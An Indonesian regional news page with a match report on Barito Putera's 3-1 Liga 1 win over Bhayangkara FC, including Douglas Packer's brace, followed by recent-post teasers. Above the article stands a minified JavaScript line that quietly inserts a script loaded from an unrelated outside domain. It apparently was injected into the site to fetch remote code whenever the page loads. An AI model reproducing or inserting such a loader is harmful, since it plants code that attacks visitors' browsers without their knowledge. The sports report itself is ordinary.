(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Sport

17 Mei Masih Angker, Packer Bikin Brace


BANJARMASIN, Home base Barito Putera Stadion 17 Mei Banjarmasin kembali tunjukkan keangkeran kala membenamkan Bhayangkara FC pada pertandingan pekan ke-6 Liga 1 Indonesia, Sabtu (28/4). Bhayangkara FC menjadi korban “keangkeran” Stadion 17 Mei setelah sebelumnnya PSM Makassar. Bhyangkara FC harus mengakui keunggulan Barito Putera dengan skor akhir 3-1.

Pertandingan babak pertama, gawang Bhayangkara FC sudah harus merelakan gawang mereka dibobol brace -dua gol- Douglas Packer, pada menit 15 dan 22.

Laskar Antasari pada 10 menit pertandingan awal sudah begitu menguasai bola dan mendikte permainan Bhayangkara FC. Anak asuh Jacksen F Tiogo terlihat begitu mengandalkan tusukan lewat pergerakan maut sisi kiri yang diisi oleh Rizky Pora.

Tusukan pergerakan si pengantin anyar Barito Putera itu langsung berbuah hasil pada menit ke-15, melalui umpan lambungnya yang diarahkan ke kotak terlarang Bhayangkara FC, berhasil dimanfaatkan dengan sempurna oleh Packer. Melalui sundulan eks pemain Juventus ini berhasil memecahkan kebuntuan tuan rumah, skor 1-0.

Tertinggal satu gol, Bhayangkara FC mencoba mengejar ketertinggalan, dan nyaris menyamakan skor di menit 19, seandainya tendangan Komazec geser sedikit lebih ke kiri ketika tendangannya menghajar tiang kanan gawang Barito Putera yang dikawal Adhitya Harlan.
Saat berusaha menyamakan skor, petaka kembali menghampiri Bhayangkara FC dan makin tertinggal. Kembali Packer berulah, ia mencatatkan namanya di papan skor pada menit ke-22.  Tendangan kerasnya berhasil mengoyak gawang yang dijaga Panggih Prio, skor berubah menjadi 2-0.

Menit 23, Bhayangkara FC mendapatkan hadiah penalti dari wasit. Sayang, Paulu Sergio yang didaulat menjadi algojo tidak berhasil memanfaatkan hadiah tersebut saat tendangannya melebar di sisi kiri gawang Barito Putera.

Tim besutan Simon McMenemy kembali mendulang peluang pada menit ke-36 melalui bola mati. Lee Yoo-Jun yang tampil sebagai eksekutor memutuskan menendang langsung ke arah gawang, sayang bola masih membentur pagar betis pemain besutan Jakcsen.

Lima menit terakhir babak pertama, Bhayangkara FC terus berusaha untuk mengejar defisit gol dengan menguasai lapangan tengah melalui kerjasama apik Vendry Mofu dan Lee Yoo-Jun. Kendati demikian, bola-bola matang yang dialirkan ke lini depan tak mampu dikonversi menjadi gol oleh Nikola Komazec maupun Wahyu Subo Seto. Hingga paruh pertama usai, kedudukan tidak berubah.

Tertinggal 2 gol di babak pertama, Bhayangkara menaikkan irama permainan untuk mengejar ketertinggalan mereka. Skema agresif menyerang yang mereka terapkan sempat membuat Barito Putera harus bekerja ekstra keras untuk mengamankan lini pertahanan.

Secara perlahan Barito Putera mengimbangi irama permainan agresif yang dimainkan Bhayangkara FC.  Terbukti di menit ke-57, mereka berhasil menambah pundi-pundi gol melalui Paulo Sitanggang setelah berhasil memanfaatkan umpan pendek Matias Cordoba.

Semangat Bhayangkara FC tidak surut setelah tertinggal 3-0 dari tuan rumah, mereka terus berusaha untuk menyamakan skor. Menit ke-62 mereka nyaris mengurangi defisit gol, andai saja tandukan Dendy Sulistyawan tidak digagalkan oleh Adhitya yang bermain dengan cemerlang mengawal gawang Barito.

Rizky Pora dan kawan-kawan dengan keunggulan 3-0 tidak menurunkan agresivitas serangan.  Mereka nyaris kembali menambah gol andai saja peluang Paulo Sitanggang melalui sontekannya di menit ke-75 tidak digagalkan oleh kiper. Bola sempat muntah dan langsung disambar Samsul, namun tendangannya melebar tipis di sisi kiri gawang.

Di waktu tersisa, Bhayangkara FC berusaha memperkecil ketertinggalan. Upaya itu membuahkan hasil di injury time ketika Herman Dzumafo menyambar bola muntah tendangan Dendy yang ditepis Adhitya, sehingga laga ditutup dengan skor 3-1.

Dengan hasil ini membuat Barito Putera naik ke posisi 5 klasemen sementara dengan poin 10, dan Bhayangkara FC turun ke posisi ke 13 dengan poin 6. (abdullah)

Reporter:Abdullah
Editor :Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

8 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

8 jam ago

Banjir di Gang Serumpun Sungai Lulut Masih Selutut

KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More

10 jam ago

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

14 jam ago

Besok, Presiden RI Resmikan 166 Sekolah Rakyat Terpadu di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More

15 jam ago

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

1 hari ago

This website uses cookies.